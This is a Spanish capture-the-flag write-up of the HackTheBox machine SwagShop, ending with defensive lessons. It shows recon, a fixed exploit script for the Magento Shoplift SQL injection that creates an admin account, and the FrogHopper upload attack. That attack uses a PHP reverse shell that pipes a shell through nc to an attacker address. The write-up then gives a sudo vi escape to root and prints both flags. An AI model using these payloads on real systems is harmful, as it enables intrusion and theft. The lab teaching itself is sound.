the_open_door
café
ESEN

SwagShop

HackTheBoxFácilLinux10.10.10.140

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#magento#sqli#cve-2015-1397#shoplift#file-upload-rce#froghopper#sudo#gtfobins#vi
TL;DR. SwagShop monta un Magento Community 1.9.0.0/1.9.0.1 sin parchear. Una inyección SQL no autenticada (CVE-2015-1397, Shoplift) crea un administrador (forme:forme); ya dentro del panel se abusa del ataque FrogHopper: habilitar Allow Symlinks, subir una webshell PHP con doble extensión por la subida de imágenes de categorías y referenciarla desde una plantilla de newsletter cuya previsualización la ejecuta (RCE por subida de fichero), obteniendo shell como www-data. La escalada es un sudo -l que permite vi como root sobre /var/www/html/*: un escape de GTFOBins da una shell de root.

Reconocimiento

Ping

ping -c 1 10.10.10.140

ping a 10.10.10.140: ttl=63 apunta a Linux

PING 10.10.10.140 (10.10.10.140) 56(84) bytes of data.
64 bytes from 10.10.10.140: icmp_seq=1 ttl=63 time=117 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos

Antes de TCP, un barrido UDP de los 100 puertos más habituales. Es barato (poco más de un segundo) y descarta servicios que un -sS nunca vería:

nmap -sU --min-rate 5000 -Pn -n -vvv --open --top-ports 100 10.10.10.140 | grep -v 'no-response'

nmap UDP top-100: 4 puertos closed y ninguno abierto

Completed UDP Scan at 12:19, 1.28s elapsed (100 total ports)
Not shown: 4 closed udp ports (port-unreach)
PORT   STATE   SERVICE   REASON

Ni un puerto abierto. La tabla sale vacía porque el grep -v 'no-response' se lleva los 96 restantes: UDP no acusa recibo, así que "sin respuesta" y "filtrado" son indistinguibles y nmap los deja en open|filtered. Solo los 4 que devolvieron un ICMP port unreachable se pueden dar por cerrados.

El foco pasa a TCP, donde un escaneo completo de los 65535 puertos devuelve dos, 22 y 80:

nmap TCP completo: solo 22 (SSH) y 80 (HTTP) abiertos, con syn-ack ttl 63

Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

extractPorts resume el fichero -oG y deja los puertos en el portapapeles para el escaneo dirigido:

extractPorts scan

extractPorts resume el escaneo: IP 10.10.10.140 y puertos abiertos 22,80

Extracting information ...
IP Address: 10.10.10.140
Open ports: 22,80

Dos detalles de la columna REASON, que solo aparece con -vvv. El primero: 65533 closed ... (reset), no filtered. La máquina responde con RST a todo lo que no está abierto, así que no hay cortafuegos delante descartando paquetes en silencio; la superficie es realmente de dos servicios. El segundo: el syn-ack ttl 63 confirma por una vía distinta lo que decía el ping, y esta viene del handshake TCP, no de un ICMP.

Con el detalle de versiones (nmap -sCV) se confirma un OpenSSH antiguo y un Apache que redirige a un nombre de dominio, lo que sugiere virtual hosting:

nmap -sCV: OpenSSH 7.6p1, Apache 2.4.29 y redirección a swagshop.htb

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Did not follow redirect to http://swagshop.htb/
|_http-server-header: Apache/2.4.29 (Ubuntu)

El OpenSSH 7.6p1 arrastra una conocida fuga de enumeración de usuarios, pero aquí no hace falta. Lo relevante es el nombre swagshop.htb, que se añade a /etc/hosts para resolver el vhost:

swagshop.htb añadido a /etc/hosts apuntando a 10.10.10.140

HTTP - TCP 80

whatweb da una primera foto de la pila:

whatweb http://swagshop.htb

whatweb sobre swagshop.htb: Apache 2.4.29, cookie frontend, Scriptaculous

http://swagshop.htb [200 OK] Apache[2.4.29], Cookies[frontend], Country[RESERVED][ZZ], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], Script[text/javascript], Scriptaculous,
Title[Home page], X-Frame-Options[SAMEORIGIN]

Conviene fijarse en lo que no dice: whatweb no nombra Magento en ningún momento. Lo que devuelve son indicios que hay que leer juntos, la cookie frontend (el nombre por defecto de la sesión de tienda en Magento 1.x) y la librería Scriptaculous. Quien pone el nombre al CMS es la extensión Wappalyzer del navegador:

Wappalyzer sobre swagshop.htb: Magento, PHP, MySQL, Ubuntu, Prototype 1.7 y jQuery 1.10.2

Ecommerce             Magento
Programming languages PHP
Databases             MySQL
Operating systems     Ubuntu
Web servers           Apache HTTP Server 2.4.29
JavaScript frameworks Prototype 1.7
JavaScript libraries  jQuery 1.10.2, Modernizr 2.6.2, script.aculo.us
Font scripts          Google Font API

El par Prototype + script.aculo.us ya acota la rama antes de tocar nada: es la pila de JavaScript de Magento 1.x, mientras que las 2.x montan jQuery y Knockout. Y MySQL confirma que detrás hay una base de datos relacional, que es lo que hace interesante cualquier inyección.

Con el CMS identificado, conviene precisar la versión, porque Magento acumula vulnerabilidades graves en las ramas antiguas. Para eso está magescan, que se instala como un .phar suelto:

wget https://github.com/steverobbins/magescan/releases/download/v1.12.9/magescan.phar
chmod +x magescan.phar

el wget descarga los 441 KB de magescan.phar desde la release v1.12.9 y el chmod le da permiso de ejecución

Length: 451175 (441K) [application/octet-stream]
Saving to: 'magescan.phar'
2025-11-03 20:51:53 (2.88 MB/s) - 'magescan.phar' saved [451175/451175]
php magescan.phar scan:all http://swagshop.htb | grep -v Pass

El grep -v Pass no es decorativo: magescan imprime una fila por cada comprobación, y filtrando las que salen bien queda solo lo que está expuesto.

magescan: Magento Community 1.9.0.0 / 1.9.0.1 y la tabla de parches

Magento Information
+-----------+--------------------+
| Parameter | Value              |
+-----------+--------------------+
| Edition   | Community          |
| Version   | 1.9.0.0, 1.9.0.1   |
+-----------+--------------------+

Patches
+-------------+---------+
| Name        | Status  |
+-------------+---------+
| SUPEE-5344  | Unknown |
| SUPEE-5994  | Unknown |
| SUPEE-6285  | Unknown |
| SUPEE-6482  | Unknown |
| SUPEE-6788  | Unknown |
| SUPEE-7405  | Unknown |
| SUPEE-8788  | Unknown |
+-------------+---------+

La primera fila de esa tabla es la que importa: SUPEE-5344 es justo el parche de Shoplift. Unknown no es Applied, pero tampoco es una prueba: magescan deduce el estado de cada parche por señales indirectas desde fuera y aquí no consigue ninguna. Lo que sí es sólido es la versión, 1.9.0.0/1.9.0.1, de 2014, anterior al parche, que se publicó en febrero de 2015.

Más abajo lista varias rutas accesibles típicas de Magento, entre ellas app/etc/local.xml (la configuración con credenciales de base de datos) y shell/:

magescan: rutas accesibles app/etc/local.xml, shell/, var/export/

Unreachable Path Check
+--------------------------------+---------------+--------+
| Path                           | Response Code | Status |
+--------------------------------+---------------+--------+
| app/etc/local.xml              | 200           | Fail   |
| index.php/rss/order/NEW/new    | 200           | Fail   |
| shell/                         | 200           | Fail   |
| var/export/                    | 200           | Fail   |
+--------------------------------+---------------+--------+

De esas rutas, index.php/rss/order/NEW/new es la que marca el camino: en esta instalación las rutas no cuelgan de la raíz sino del propio index.php, que actúa de front controller. Por eso el dirsearch no se lanza contra / ni contra /admin, sino contra index.php:

dirsearch -u http://swagshop.htb/index.php --exclude-status=403,404

dirsearch: /index.php/admin responde 200

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://swagshop.htb/

[13:21:28] Starting: index.php/
[13:24:06] 200 -    1KB - /index.php/admin
[13:24:14] 200 -    1KB - /index.php/admin/
[13:24:22] 200 -    1KB - /index.php/admin/index
[13:25:58] 200 -   168B - /index.php/api
[13:26:58] 302 -     0B - /index.php/catalog   ->  http://swagshop.htb/index.php/
[13:27:33] 200 -    3KB - /index.php/contacts
[13:29:29] 302 -     0B - /index.php/install   ->  http://swagshop.htb/index.php/
[13:34:45] 302 -     0B - /index.php/wishlist  ->  http://swagshop.htb/customer/account/login/

Los 302 cuentan tanto como los 200. /index.php/install redirigiendo a la portada significa que el asistente de instalación ya se ejecutó (si no, serviría el instalador y sería una vía directa a reconfigurar la tienda), y /index.php/wishlist mandando a customer/account/login/ confirma que hay sesión de cliente. El que interesa es /index.php/admin, con 1 KB de respuesta:

Al visitarlo aparece el formulario de login de Magento:

panel de login del Magento Admin

Shell como www-data

CVE-2015-1397: crear un administrador por SQLi

Con la versión en la mano, el paso es traducirla a exploits conocidos:

searchsploit 'Magento'

searchsploit Magento: catorce resultados, uno de ellos marcado (Authenticated)

Magento < 2.0.6 - Arbitrary Unserialize / Arbitrary Write File  | php/webapps/39838.php
Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution    | php/webapps/37811.py
Magento eCommerce - Local File Disclosure                       | php/webapps/19793.txt
Magento eCommerce - Remote Code Execution                       | xml/webapps/37977.py
Magento eCommerce CE v2.3.5-p2 - Blind SQLi                     | php/webapps/50896.txt
Magento Server MAGMI Plugin - Multiple Vulnerabilities          | php/webapps/35996.txt

De los catorce resultados, la mayoría se descartan solos: son de ramas que no son esta (los tres XSS de la 1.2, los dos de eBay Magento 1.9.2.1, la 2.0.6, la 2.3.5, la 2.4.6) o de complementos que no están instalados (MAGMI, WooCommerce CardGate). Encajan dos, y la diferencia entre ellos viene escrita en el propio título. Magento CE < 1.9.0.1 - **(Authenticated)** Remote Code Execution pide unas credenciales que todavía no tenemos, así que el único aprovechable de entrada es 37977.py, que la tabla titula solo Remote Code Execution.

searchsploit -m xml/webapps/37977.py

searchsploit -m: 37977.py mapeado a CVE-2015-1397 y OSVDB-121260, Verified False

  Exploit: Magento eCommerce - Remote Code Execution
      URL: https://www.exploit-db.com/exploits/37977
     Path: /usr/share/exploitdb/exploits/xml/webapps/37977.py
    Codes: CVE-2015-1397, OSVDB-121260
 Verified: False
File Type: ASCII text
Copied to: /home/krmena/machines/swagshop/exploits/37977.py

Aquí el exploit deja de ser un número y pasa a tener nombre: CVE-2015-1397, la inyección SQL "Shoplift", la que tapa el parche SUPEE-5344 que la tabla de magescan encabezaba. Y el Verified: False avisa de que nadie en Exploit-DB lo ha reproducido, cosa que se nota en cuanto se lanza:

python2 37977.py

python2 37977.py falla con SyntaxError: invalid syntax en la línea 9

  File "37977.py", line 9
    ///////////////////
    ^
SyntaxError: invalid syntax

Falla antes de tocar la máquina, y no por nada de Magento. Al leer el fichero se ve que entre la cabecera y los import hay un bloque de documentación escrito con ///, que es sintaxis de comentario de C o de JavaScript, no de Python, que solo entiende #. Tal y como está publicado, el script nunca llegó a ejecutarse: es exactamente lo que anunciaba el Verified: False.

Ese mismo bloque, eso sí, es la mejor documentación que hay del exploit:

/// Overview:
Magento shoplift bug originally discovered by CheckPoint team
This python script developed by joren but it was having some bug because of which it was not working
properly. If magento version is vulnerable, this script will create admin account with username forme
and password forme

El arreglo son dos cosas. La primera, borrar el bloque ///. La segunda, la variable target, que viene con un http://target.com/ de relleno y tiene que apuntar al index.php real, no a la raíz, por lo mismo que el dirsearch se lanzó contra index.php:

37977.py editado: target = http://swagshop.htb/index.php

target = "http://swagshop.htb/index.php"
...
target_url = target + "/admin/Cms_Wysiwyg/directive/index/"

q = """
SET @SALT = 'rp';
SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{password}') ), CONCAT(':', @SALT ));
SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;
INSERT INTO `admin_user` (`firstname`,`lastname`,`email`,`username`,`password`,`created`,...
INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',...
"""
query = q.replace("\n", "").format(username="forme", password="forme")
pfilter = "popularity[from]=0&popularity[to]=3&popularity[field_expr]=0;{0}".format(query)

r = requests.post(target_url,
                  data={"___directive": "e3tibG9jayB0eXBlPSJBZG1pbmh0bWwvcmVwb3J0X3Nl...",
                        "filter": base64.b64encode(pfilter),
                        "forwarded": 1})

Leído así se entiende por qué funciona. El endpoint Cms_Wysiwyg/directive existe para renderizar directivas del editor visual, y el ___directive que se le manda es un bloque de Magento en base64 ({{block type="Adminhtml/report_se...). La inyección viaja aparte, en el parámetro filter, también en base64, colada detrás de un popularity[field_expr]=0; legítimo: el ; cierra la expresión buena y todo lo que sigue entra como SQL. El INSERT en admin_user crea la cuenta con la contraseña ya salada al estilo de Magento (MD5 con sal rp), y el segundo INSERT en admin_role le cuelga el rol de administrador. No hay ejecución de código en ningún momento pese al título del exploit, solo un usuario nuevo en la base de datos.

python2 37977.py

el exploit responde WORKED con credenciales forme:forme

WORKED
Check http://swagshop.htb/index.php/admin with creds forme:forme

Las credenciales forme:forme se prueban en el panel que había encontrado dirsearch:

el Log in to Admin Panel de Magento con forme escrito en User Name y en Password

Y abren el panel de administración:

dashboard del Magento Admin tras autenticarse como forme

FrogHopper: de admin a RCE

Con acceso administrativo entra en juego el ataque FrogHopper, una variante de RCE por subida de fichero específica de Magento. La técnica está documentada paso a paso en el blog de Foregenix, y de ahí sale tanto el procedimiento como el bloque exacto que hay que escribir en la plantilla:

el articulo Anatomy of a Magento attack: Froghopper de Foregenix, con la captura de Allow Symlinks y los dos bloques de codigo de plantilla

Illustration 8: Screenshot of the Magento "Template Settings" box from Magento 1.9.3.2

Now the attacker proceeds to the Magento "Newsletter Templates" section and creates a new newsletter
template. The Magento system allows the administrator to include blocks of template code into their
newsletters:

{{block type="core/template" template="newsletter/subscribe.phtml"}}

However, by modifying this template the attacker can point to their previously uploaded file in the
"media/catalog/category" directory. In the example below the uploaded file was named "h1.jpg" so the
appropriate reference would be:

{{block type='core/template' template='../../../../../../media/catalog/category/h1.jpg'}}

Under normal circumstances Magento would reject this path, but because the attacker has previously
enabled the "Allow Symlinks" option, it is accepted.

La idea, resumida: habilitar que las plantillas puedan apuntar a ficheros locales, subir una webshell con doble extensión (que pasa el filtro de imágenes) y forzar su ejecución al previsualizar una plantilla.

Primero, en System > Configuration > Developer, se activa Allow Symlinks. La ruta del menú no es obvia, porque Developer es una entrada más dentro de la configuración general:

el menú System desplegado con Configuration resaltado, y dentro la sección Developer con Template Settings y Allow Symlinks puesto a Yes

Allow Symlinks habilitado en la configuración de Developer

La carga útil es una reverse shell PHP guardada con doble extensión, revshell.php.png:

nano revshell.php.png
cat revshell.php.png

cat de revshell.php.png con la reverse shell basada en mkfifo

<?php
    system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f");
?>

Es la reverse shell clásica con FIFO, la que se usa cuando el nc del objetivo viene sin -e: mkfifo crea una tubería con nombre, cat le da a /bin/sh lo que llega por ella y la salida de la shell se manda por nc de vuelta, cerrando el círculo. El rm /tmp/f de delante evita que falle si quedó un /tmp/f de un intento previo.

Se sube a través de la imagen de una categoría nueva en Manage Categories, que la deja en media/catalog/category/:

subida de revshell.php.png en el campo Image de una categoría nueva llamada pwned

Al volver a abrir la categoría aparece el fichero, y con él una trampa: el nombre no es el que subimos. Magento renombra a revshell.php_1.png porque ya había un revshell.php.png de un intento anterior. Comprobarlo no es opcional, porque la plantilla tiene que apuntar al nombre real:

la categoría pwned (ID: 5) muestra la imagen guardada como revshell.php_1.png

Después toca la plantilla. La sección está en Newsletter > Newsletter Templates, todavía sin registros, con el botón Add New Template arriba a la derecha:

la sección Newsletter Templates de Magento, vacía, con el botón Add New Template resaltado

Se crea una plantilla cuyo contenido referencia ese fichero con un bloque de Magento:

{{block type="core/template" template="../../../../../../media/catalog/category/revshell.php_1.png"}}

plantilla de newsletter con el bloque que apunta a la webshell

Los seis ../ no son arbitrarios: las plantillas se resuelven desde app/design/frontend/base/default/template/, y hay que subir esos seis niveles para volver a la raíz del sitio y bajar por media/. Con Allow Symlinks en No, Magento habría rechazado la ruta por salir de su directorio de plantillas.

Save Template la deja registrada con ID 1, lista para previsualizar:

la plantilla pwned aparece guardada como ID 1 en Newsletter Templates

Antes de disparar nada, el listener:

nc -nlvp 443

el listener nc esperando en el puerto 443 antes de previsualizar la plantilla

listening on [any] 443 ...

Con él ya escuchando, se pulsa Preview Template, lo que renderiza el bloque y ejecuta el PHP:

Preview Template dispara la ejecución de la plantilla

El listener recibe la conexión: shell como www-data.

nc -nlvp 443

nc recibe la reverse shell desde 10.10.10.140 como www-data

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.140] 55220
/bin/sh: 0: can't access tty; job control turned off

Estabilizar la TTY

Ese can't access tty; job control turned off es literal: la shell entra sin terminal asociada, así que no hay Ctrl+C sin matar la conexión, ni flechas, ni historial, ni editores. El tratamiento habitual:

script /dev/null -c bash

script /dev/null -c bash, Ctrl+Z y stty raw -echo; fg sobre la reverse shell

$ script /dev/null -c bash
Script started, file is /dev/null
www-data@swagshop:/var/www/html$ ^Z
zsh: suspended  nc -nlvp 443

# stty raw -echo; fg
[1]  - continued  nc -nlvp 443

www-data@swagshop:/var/www/html$ reset xterm

script /dev/null -c bash pide al sistema remoto una PTY de verdad y arranca bash dentro (se nota en el prompt, que pasa de un $ pelado a www-data@swagshop:/var/www/html$). El Ctrl+Z y el stty raw -echo; fg se ejecutan en nuestra máquina, no en la víctima: dejan de interpretar localmente las teclas de control y las mandan tal cual por el socket. El reset xterm repinta la pantalla, que queda hecha un desastre después del cambio de modo.

Falta declararle a la shell remota qué terminal es y de qué tamaño:

export TERM=xterm SHELL=bash
stty rows 49 cols 236

export TERM=xterm SHELL=bash y stty rows 49 cols 236 en la shell de www-data

Sin TERM, ni clear ni vi ni less saben mover el cursor; sin las filas y columnas reales, todo lo que dibuje recuadros sale partido. Los valores no se inventan, salen de un stty size en nuestra propia terminal.

Flag de usuario

La flag está en el home de haris:

cat de user.txt en /home/haris

www-data@swagshop:/home$ cat haris/user.txt
3d550751f788d3fc212a4e9ee411218f

Escalada de privilegios

sudo + vi (GTFOBins)

Un sudo -l revela el vector directo: www-data puede ejecutar vi como root sobre cualquier fichero bajo /var/www/html/:

sudo -l: www-data puede ejecutar /usr/bin/vi sobre /var/www/html/* como root, y el escape a root

www-data@swagshop:/var/www/html$ sudo -l
Matching Defaults entries for www-data on swagshop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:
    (root) NOPASSWD: /usr/bin/vi /var/www/html/*

Tres cosas se leen en esa salida. NOPASSWD significa que no hace falta la contraseña de www-data, que no tenemos y que un usuario de servicio normalmente ni siquiera tiene. env_reset y secure_path cierran la vía indirecta: el entorno se limpia al invocar sudo y el PATH se sustituye por uno fijo, así que no vale envenenar PATH ni LD_PRELOAD para que vi cargue algo nuestro. Y queda el comodín /var/www/html/*, que es lo que parece una restricción y no lo es.

vi es un binario con escape conocido en GTFOBins: el parámetro -c ejecuta un comando del editor nada más arrancar, y :! lanza un comando del sistema desde dentro del editor, que hereda el contexto con el que vi se está ejecutando, es decir, root:

sudo /usr/bin/vi /var/www/html/* -c ':!/bin/bash' /dev/null
25 files to edit
root@swagshop:/var/www/html# id
uid=0(root) gid=0(root) groups=0(root)

El 25 files to edit es el comodín expandido por la shell antes de que sudo vea nada: vi abre los 25 ficheros que hay en el directorio. Da exactamente igual cuáles sean, porque el escape no depende del fichero abierto sino del editor. El /dev/null del final es solo un último argumento inofensivo para que vi tenga algo con lo que terminar la lista.

Con la shell de root, la flag final:

cat de root.txt como root

root@swagshop:/var/www/html# cat /root/root.txt
8fdb7e08b4860213bcac400be6711d7a

Cadena de ataque

TTL 63 (Linux) ─▶ nmap: 22 SSH, 80 HTTP ─▶ vhost swagshop.htb
        │
        ▼
  Magento CE 1.9.0.0/1.9.0.1 (magescan)
        │  CVE-2015-1397 "Shoplift" (37977.py): SQLi no autenticada
        ▼
  admin forme:forme ─▶ FrogHopper (Allow Symlinks + upload doble extensión + plantilla)
        │
        ▼
  shell www-data ─▶ user.txt (haris)
        │  sudo -l: (root) NOPASSWD /usr/bin/vi /var/www/html/*
        ▼
  vi -c ':!/bin/bash' (GTFOBins) ─▶ root ─▶ root.txt

Lecciones aprendidas

  • Magento sin parchear es crítico. La rama 1.9.0.x sin el parche SUPEE-5344 permite crear un administrador con una sola petición no autenticada (CVE-2015-1397). Aplicar parches y restringir el acceso al panel /admin por red habría cortado la cadena de raíz.
  • El doble filtro de subida no basta. Aceptar la imagen por extensión y dejar que una plantilla la interprete como PHP (FrogHopper) convierte una funcionalidad legítima en RCE. Validar tipo real, almacenar fuera del docroot y no permitir que las plantillas referencien rutas arbitrarias.
  • sudo sobre editores es sudo sobre todo. Permitir vi (o less, nano, awk...) como root, aunque sea acotado a un directorio, equivale a dar root: GTFOBins documenta el escape. Conceder solo binarios sin capacidad de ejecutar comandos arbitrarios.
  • Comodines en sudoers son traicioneros. /var/www/html/* parece restrictivo, pero el escape de vi no depende del fichero abierto, así que el comodín no aporta seguridad real.
  • Un exploit público que no arranca no es un exploit inválido. 37977.py venía con Verified: False y moría en un SyntaxError de la línea 9, y la causa era un bloque de documentación escrito con /// dentro de un fichero Python. Leer el código antes de descartarlo cuesta un minuto; ese mismo bloque explicaba el bug y anunciaba las credenciales forme:forme que iba a crear.
  • La herramienta que identifica no siempre es la que crees. whatweb nunca nombró Magento: solo dio una cookie frontend y Scriptaculous. El nombre lo puso Wappalyzer, y la rama concreta la delató la pila de JavaScript (Prototype + script.aculo.us es 1.x, jQuery + Knockout es 2.x). Conviene saber qué aporta cada fuente en vez de sumar salidas y quedarse con la conclusión.
  • El nombre del fichero subido no es el nombre que subiste. Magento guardó revshell.php.png como revshell.php_1.png por una colisión con un intento anterior. Verificar el nombre real después de subir, en lugar de asumirlo, es la diferencia entre una plantilla que ejecuta y una que devuelve un bloque vacío sin decir por qué.
Cheatsheet de comandos 25 comandos

Repaso rápido